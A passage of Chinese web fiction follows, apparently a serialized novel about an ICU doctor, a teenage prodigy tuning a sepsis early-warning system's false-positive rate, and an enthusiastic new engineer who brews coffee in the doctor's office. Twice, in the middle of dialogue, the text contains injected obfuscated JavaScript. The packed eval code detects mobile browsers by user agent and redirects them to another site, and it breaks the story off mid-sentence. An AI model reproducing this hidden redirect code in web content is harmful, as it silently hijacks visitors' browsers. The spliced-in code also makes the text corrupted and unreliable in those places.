佐伊还懒在沙发里,手里拿着那支棒棒糖,白色的塑料棒从指缝里露出来。她没动,看着他收拾东西。 “你明天休息。”她说。是肯定句,不是问句。 “嗯。”安东尼转过身,从衣橱里拿出便服——一件深蓝色的卫衣,一条黑色的休闲裤。他把刷手服换下来,团成一团丢进洗衣筐。 “吃哪个食堂?手术室那个还是LG2?”他转了个身,一边换衣服一边问。 “LG2。”佐伊几乎没有犹豫。 安东尼套卫衣的时候抬头看了她一眼。“你平时不是都说随便吗?” “手术室食堂没有热巧克力。” “那就LG2。”安东尼把卫衣下摆拉了拉平,走到门口拉开门,侧身让她先走。 走廊里已经开始有人走动了。护士站的电话在响,有人在推着车经过,轮子碾过地面发出咕噜咕噜的声音。早班的人到了,夜班的人还没走完,两拨人在走廊里交错着,互相点点头,说一句“辛苦了”,然后各走各的路。 佐伊走在安东尼旁边,步子不大,但很快。她走路的时候还是有一点颠脚,和七岁那年一样,电梯来了,他们走进去。门关上以后,轿厢里很安静,只有通风口的嗡嗡声。佐伊靠在电梯壁上,看着楼层数字一格一格地跳。 “下周初我可能更新一版新预警系统。”她说,“刚才调了一下急诊科的假阳性,从13降到9.8,还没压到8。” 安东尼转过头,看着她。“你不是在睡觉吗?” “两点多就醒了。”她说,“睡不着就调了一下。” “你那个‘醒了’,”安东尼说,“是醒了以后又干了六个小时的活?” 佐伊没说话。 “九点八,”安东尼说,“已经很好了。” “还是高了一点。” “急诊科那些医生不会在意的。” “我在意。”她说。 电梯到了地下二层,门开了。他们走出去,穿过电梯厅,往食堂的方向走。早上的食堂人不多,零星几个穿着刷手服的医生坐在角落里,面前放着咖啡和三明治,有的在看手机,有的在发呆。热巧克力的柜台在靠里面的位置,做饮料的姑娘认识他们,看见佐伊,笑了一下。 “老样子?”她问。 “嗯。”佐伊点点头。 “安东尼医生呢?还是美式?” “嗯。” “吃什么?”安东尼问佐伊。 “三明治。” 他们端着杯子找了个靠窗的位置坐下。热巧克力很烫,佐伊捧在手里,没喝,让热气扑在脸上。食堂这一层的外侧是地下车库,偶尔有车子经过,亮起的车灯扫过挨着餐厅落地玻璃坐着的人。 “六床,”她忽然开口,“术后第几天?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401662|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第三天。” “感染指标呢?” “昨天下午的CRP还是高的,一百二十多。白细胞一万八。” “降钙素原呢?” “零点八。” 她想了想。“降钙素原不高。可能是炎症反应,不一定是感染。” “嗯。”安东尼喝了一口咖啡,“我怀疑是SIRS,不是脓毒症。但不敢赌,所以上了抗生素。等今天的培养结果出来再看。” 她点点头。热巧克力凉了一点,她喝了一口,甜味在嘴里化开,混着可可的苦。 “你那个假阳性,”安东尼说,“急诊科的,问题主要出在哪儿?” 她放下杯子,看着他。“院外体温。数据源不统一,耳温腋温口温混在一起,还有不同体温计的差异。模型被那些误差晃了。” 安东尼想了想。“急诊科接诊的时候会复测体温的。” “会。但电子病历导入的时候直接用了院前数据,复测的结果有时候没覆盖。” “那你要改的不是模型,是数据录入流程。” 她看着他,“流程的事,不是我能动的,我能优化程序,优化不了人。” “我帮你去跟急诊科说。”他端起咖啡,喝了一口,“你先把规则写好,再做一次系统培训,让院长看看,需不需要和他们主任谈。就说系统升级,需要统一体温数据的录入标准。这对他们具体工作有好处。” 她看着他,没说话。 “怎么了?”安东尼抬眼看了看佐伊。 “谢谢。”佐伊说。 安东尼被这个郑重的道谢惊得愣了一秒,然后他笑了,伸手揉了一把对面这孩子的头。八年前,这孩子坐在她面前喝热可可,吃有小圆面包的那种三明治,感慨说苹果片真好吃,然后问自己说什么时候教她看心超。八年后,这个孩子皱着眉头在想,感染预警的假阳性率能不能再往下压两个点。 “安东尼医生?” 一个有些犹豫的声音从背后蹿出来。 安东尼回了回头。熬了一夜的脑子转得有点慢,他眨了眨眼,看着面前这个年轻人——三十岁不到,深棕色头发,穿着一件浅蓝色的衬衫,手里抱着一大叠文件袋,正站在他们桌子旁边,表情介于惊喜和紧张之间。 佐伊抬眼看了对方一眼,礼貌地点了点头,微微笑了一下。她对整个Beacon的人都这样——所有熟悉的陌生人,在她脸上看到的都是同一张模板的微笑。 “你好。”安东尼说。 “我是Vital!”小伙子伸出手来,“您昨天帮我刷了电梯,但是没留联系方式。怎么那么巧遇到您了!我刚准备去技术部报到!” 安东尼这下想起来了。昨天从查尔斯办公室出来,在电梯口遇到的那个年轻人。访客卡刷不开电梯,鼻子尖有点红,眼睛也有点红,说“刚落地几个小时,时差还没倒过来”。他握了握Vital的手。“手续办完了?” “办完了办完了!”Vital说,声音里带着一种刚入职场的兴奋,“人事部那边都搞定了,临时公寓也安排了。今天第一天报到。”他看了一眼安东尼手边的美式,又看了一眼佐伊面前的热巧克力。“噢……下回请您喝咖啡!留个电话?” 安东尼掏出手机,给Vital简单培训了一下怎么在企业OA里找到通讯录模块,然后两人互相添加了联系人。 “回头见!”Vital对着佐伊也点头致意了一下,抱着一大叠文件袋,溜溜达达地走了。走出去几步又回头,差点撞上送餐的推车,侧身闪了一下,嘴里嘟囔了一句什么,然后消失在走廊拐角。神色里有点兴奋,也有点那种初来乍到的、小心翼翼的慌张。 佐伊慢吞吞咀嚼着三明治。“谁呀?”她问,“刷电梯?” “嗯。”安东尼吹了吹还有点烫的美式,“昨天给你送完饭,顺路去找查尔斯,他刚好在。” “哦。”佐伊咀嚼的动作顿了顿。 安东尼知道,这孩子心里估计过完了八百个心眼子。 “别多想,”他说,“大概又是查尔斯从哪里挖来的。就像我那时候刚从新加坡来。” “嗯。”佐伊咽下一口三明治。她低头看着自己手里的热巧克力,杯子已经不太烫了,她两只手捧着,指尖在杯壁上轻轻敲了两下。她的表情没什么变化,但咀嚼的节奏慢了下来。不是那种在思考问题的慢,是那种在想别的事情的慢。 “他做什么的?”她问,语气很随意。 “没问。”安东尼说,“说是技术中心的。大概是Jotish要的人。” 她点了点头,没再多说。端起杯子喝了一口热巧克力,又放下。手指在杯沿上转了一圈,像是在犹豫什么。 “你那个急诊科的规则,”安东尼换了个话题,“写好以后发我一份。我帮你看一眼流程的部分。” “好。”她说。语气恢复了一贯的那种平静。 21.咖啡搭子 安东尼休假期间,去近郊农场呆了两天,不是去买苹果和南瓜的,就是去散散心。这一个冬天,因为冬季呼衰,流感季以及急性窘迫的叠加影响,ICU的死亡率被拉到了惊人的30%,两个周的轮班之后,安东尼觉得自己需要放空。 已是仲春。农场里没有太多特产,但嫩草冒芽了,马驹在撒欢。他坐在农场小木屋的屋檐下喝农场主自己煮的咖啡,看着大马拉着车从便道上慢慢经过,马蹄踩在泥土上,发出沉闷的、有节奏的声响,空气里有一点稻草,马粪以及泥巴的气味,闻起来不那么好闻,但是很有生命力。咖啡有点涩,带着咖啡渣,不好喝,但热,有咖啡因。这一切混合在一起,让他从那种持续的、说不清的疲惫里缓一口气。 手机扣在桌面上,过一会儿就会震动一下。 不是佐伊。佐伊的消息通常很节制,一条说清楚所有事,然后等他回。现在震动的频率太高了,高到像有人在敲他的桌子。他翻过手机看了一眼。 Vital。又是Vital。 “安东尼!洗衣房在哪个楼?我找了半天没找到!” “夹层食堂怎么走?他们说很好吃,我迷路了。” “两个街区外那家超市的会员卡怎么办?我看了一下好像要本地地址,我临时公寓的地址行吗?” “你的驾驶证怎么做的国际公证?需要翻译件吗?” “你护照换了吗?科研身份怎么转过来?需要哪些材料?” 安东尼一条一条看完,放下手机,端起咖啡喝了一口。手机又震了。 “你不在医院吗?我去你办公室找你没找到。” 安东尼叹了口气,拿起手机打字:“休假。洗衣房在行政楼LG1,夹层食堂从技术中心电梯到2M,会员卡用临时公寓地址可以办,驾驶证公证还有科研身份的事等我回去再说。” 发完他又喝了一口咖啡,看着远处那匹马走远了,拉着车拐进一片小树林,看不到了。手机又震了。 “好的好的!你什么时候回来?” “明天。” 他把手机扣回桌面,靠在椅背上。阳光从头顶的棚架缝隙里漏下来,落在他的膝盖上,一小块一小块的,像碎掉的蛋壳。他闭上眼,听着风从远处吹过来。春天的疾风穿过草地,穿过马厩,吹到屋檐下的时候已经没什么力气了,只是轻轻碰了碰他的头发。 “那明天见!我请你喝咖啡!我亚马逊买了一套手冲设备,到了!” 安东尼看着那条消息,嘴角动了一下,不知道是该笑还是该叹气。他完全没想通,就算拿出平时在ICU里说一不二的凌厉气势,怎么就吓不退这…大金毛似的vital。最后,安东尼没忍住发消息问佐伊:你在技术中心碰见新来的vital了吗? “见到了,硬件系统工程师,怎么?” “很热情吗?”安东尼难得用了个“一言难尽”的表情。是以前佐伊发给他的,他存了。 “还好。他犹犹豫豫的问我是你的谁,他看到我们一起吃早饭,以为我是你女儿。” “你居然没否认?”安东尼嘴角弯了弯。 “忙着跟他吵硬件和软件的相容性,来不及反驳。”佐伊的消息后面跟了一只猫的表情包,怒气冲天摔桌子的那种。 “吵赢了吗?”安东尼笑了笑。 “没有输赢,事情能做下去就可以。” 这很佐伊。 当然vital能一直缠着安东尼没被彻底嫌弃,那是因为他也有另一种厉害——非常会捞生活资源的那种厉害(安东尼可能也是他捞资源的对象之一),而且总是很乐意分享。 他来的第二周,就摸清楚了附近三个街区好喝的咖啡店,好吃的小摊,以及半夜还营业的肉骨茶——他几乎在发现那个小摊的第一时间就拍照给安东尼,“快看!你家特产!”。安东尼都没弄明白这家伙是怎么判断出来自己是新加坡人的。此前几次短暂交集,好像没来得及说这件事。 Vital会自己做手冲咖啡,他发消息约安东尼说“喝一杯”的意思,就是约咖啡的意思——他真的会磨好咖啡粉,带上烧水壶,跑到安东尼的ICU办公室去给他冲咖啡。他自己说,目前设备没到齐,温度计和克秤都没有,先凑活着凭手感冲。 安东尼不太识货,第一次喝到的时候说,“有花香,很浓郁的水果味,还有坚果香,这是咖啡?” vital毫不掩饰的翻了个白眼,“你这辈子都是喝速溶长大的吧,我每到一个新的地方,就必须给自己安排上最好喝的咖啡,找到最好的咖啡馆。否则这项目是一点都跟不下去。没事,有哥带着,今后给你喝好的。” 嗯,这家伙,性格特点里还要附带一个过分热情到没大没小。 但是他又挺有边界感的。咖啡喝完,说几句闲话,利索的收拾完东西就走。笑眯眯地问,“明天值晚班?我下班了约你。” 安东尼通常只是点点头,不说话,继续看文献或者敲病程。他偶尔用余光看看那个坐在茶几边冲咖啡的年轻人——活泼的劲头还没被工作磨平——比自己小十二岁,特别会享受生活。和之前总是坐在那个沙发角落里吃棒棒糖的小孩对待生活的态度,简直是…两个极端。 安东尼从农场回伦敦,在高速上堵了四十分钟。中午出发的,到市区的时候已经下午三点半了。他没有回公寓,直接去了办公室,桌子上积攒的签字文件和交接文件堆了一沓,此前vital说的几个办身份和公证驾照之类的文书工作,也要简单与他交代。 vital大约没在忙工作,安东尼发消息过去说自己在办公室,暂时有时间可以见面详细聊。他秒回,“二十分钟后到!” 安东尼看了一眼时间,放下手机继续看文件。第四本看到一半的时候,他听见走廊里有脚步声,不是那种护士推车的咕噜声,是那种一个人小跑过来的、带着一点兴奋的脚步声。门被敲了两下,没等他说“进来”,就被推开了。 Vital站在门口,手里拎着一个帆布袋,鼓鼓囊囊的,看起来装了不少东西。他穿着一件浅蓝色的卫衣,牛仔裤,运动鞋,头发有点乱,像是刚从机房跑出来的。 “你回来了!”他走进来,把帆布袋往茶几上一放,发出沉闷的一声响。“我给你带了豆子,埃塞俄比亚的,日晒处理,有很明显的蓝莓和茉莉花香。” 安东尼看着他把东西一样一样掏出来——一个大号保温杯,手摇磨豆机,滤杯,滤纸,手冲壶,两个陶瓷杯,一个长得像化学实验室用的温度计,还有一个小小的克秤。“你设备齐了?” “齐了齐了!”Vital把克秤放在茶几上,打开开关,屏幕上跳出数字。“上周末到齐了。今天给你冲一杯好的,让你知道咖啡应该是什么味道。” 安东尼没说话,低下头继续看病程。Vital也不在意,自顾自地开始磨豆子。磨豆机的声音在办公室里响起来,咔啦咔啦的,像有人在摇一个八音盒。豆子的香气很快弥漫开来,很浓,带着一点水果的酸甜。 “你这两天去农场了?”Vital一边磨一边问。 “嗯。” “好玩吗?” “还行。”安东尼翻了一页病程,“就是去待一会儿。” “一个人?” “嗯。” Vital没再问。他把磨好的咖啡粉倒进滤杯里,晃平,拿起手冲壶开始注水。热水碰到咖啡粉的时候,气泡鼓起来,香气一下子炸开了。安东尼抬起头,看着vital冲咖啡。Vital的动作很专注,水柱细而稳,从中心开始,一圈一圈往外绕,再绕回来。 冲咖啡这件事大概用了三分钟,vital晃了晃分享壶,把咖啡液晃匀。然后他凑过去闻了闻气味,有点夸张的感叹:“完美!” 小瓷杯很快被递到安东尼手边:“尝尝?” 安东尼接过来,喝了一口。很烫,但确实好喝。那种花香和果酸在舌尖上化开,和他平时喝的那种又苦又涩的美式完全不一样。 “怎么样?”Vital问,眼睛亮亮的,像一只等夸奖的金毛。 “好喝。”安东尼说。 Vital笑了笑,自己也喝了一口咖啡,靠在沙发扶手上,两条长腿伸得老长。他看着天花板,像是在想什么事情。 “佐伊是你女儿吗?”他忽然凑近了问。 安东尼看了他一眼,就算已经被佐伊的消息“预警”过了,依然有点想笑,“不是。” “可她叫你安东尼,就像……就像那种叫名字很亲近的人… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403935|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且我这么说的时候她没反对。”vital有点尴尬,揉了揉鼻子,“我这几天一直在想这么厉害的小姑娘哪里冒出来的。” 安东尼放下杯子。“她七岁的时候我就认识她了。那时候她是我病人。” Vital安静下来,看着安东尼。 “后来她好了,但没地方去。”安东尼说,“就留下来了。再后来她开始在技术中心做项目,你在跟着她做预警系统?” “嗯。”Vital说,“Jotish那时候来挖我,说有个系统需要更好的硬件支撑,他把代码给我看过。很厉害。” “嗯。是的。”安东尼笑了笑。 “所以她是在Beacon长大的?” “差不多。” Vital沉默了一会儿,手指在杯沿上慢慢转了一圈。“难怪…” 安东尼看着他。在想这只大金毛脑子里脑补出了什么奇怪的故事。不过他不准备多说。一方面,这是佐伊的个人隐私,他不能再说了,另一方面,自己刚来的时候,有着不输vital此刻的疑惑。出于某种…心理平衡的需要,安东尼嘴巴关的严严实实的,他端起咖啡又喝了一口,咖啡已经凉了一点,花香还在,酸香更盛了。 “你们认识多久了?”Vital问。 “八年。” “八年。”Vital重复了一遍,点了点头。 安东尼又喝了一口咖啡,然后把杯子放下,“好了,不说这些了。你的驾照公证那些事,需要这些东西——” 安东尼从三抽柜最底下那层掏出一个文件夹,翻开,里面夹着几张打印好的清单和表格。“翻译件要找有资质的机构,公证件要去领事馆认证,还要一个居住证明。我把我办的时候用的模板发你邮箱了,你照着填就行。” vital接过来,翻了翻。清单列得很清楚,每一条后面都标了注意事项和办理地点。 “谢谢。”他弯着眼睛笑眯眯的,眉弓下的那点深邃都变成了“得逞”的笑意。 “也谢谢你的咖啡。” “不客气。”Vital站起来,把茶几上的咖啡器具一样一样收回帆布袋里。动作利索,和来的时候一样。“你明天值班吗?” “值。” “那我下班了来找你。带新豆子,肯尼亚的,听说有番茄味。” 安东尼愣了一下。“咖啡有番茄味?” “你喝了就知道了。”Vital笑了笑,背上帆布袋,走到门口,回头看了一眼。“对了,佐伊那个预警系统,Jotish说要上线二期了。我这几天正在跟她一起赶项目。” “嗯。” “她真的特别特别厉害。”Vital说,“比我见过的很多人都厉害。我在MIT都觉得不怎么想写博士论文,只想做点好玩的事,来跟了这个项目,就想写了。而且她才十四岁。” 安东尼没说话。Vital笑了一下,拉开门,走出去。门在身后轻轻关上。 办公室里安静下来。安东尼坐在椅子上,看着对面那张沙发。阳光已经移到了靠垫的边缘,把那块深色的布面照出一片暖色。茶几上还有咖啡的香气,淡淡的。 护士敲门进来送外院转诊单,是一个手写的牛皮纸信封。 “安东尼主任,你今天的咖啡味道好香!” “vital冲的。”安东尼接了信封,把转诊信抽出来看,“下次他来给你们也冲一份。” 护士笑嘻嘻退出去了,安东尼看着转诊信上的信息,是一个克罗恩病的术后,情况不好,想转到Beacon,也是想最后赌一把。拿起手机给协调中心打电话,“可以收,来吧。” 电话挂断,他把转诊单放在桌上。窗外的天光暗了一些,下午四点的伦敦,云层压得很低,但东边的天际线上有一层薄薄的光,像是太阳在云层后面慢慢往下走。他靠在椅背上,看着对面那张空着的沙发。茶几上的咖啡香气已经完全散了,只剩下纸张和消毒水的味道。 他想起Vital说的那句话:“她真的特别特别厉害。” 想起佐伊发来的那只猫的表情包,怒气冲天摔桌子的那种。想起她说“没有输赢,事情能做下去就可以”。他笑了一下,很轻,然后低下头,继续看下一份文件。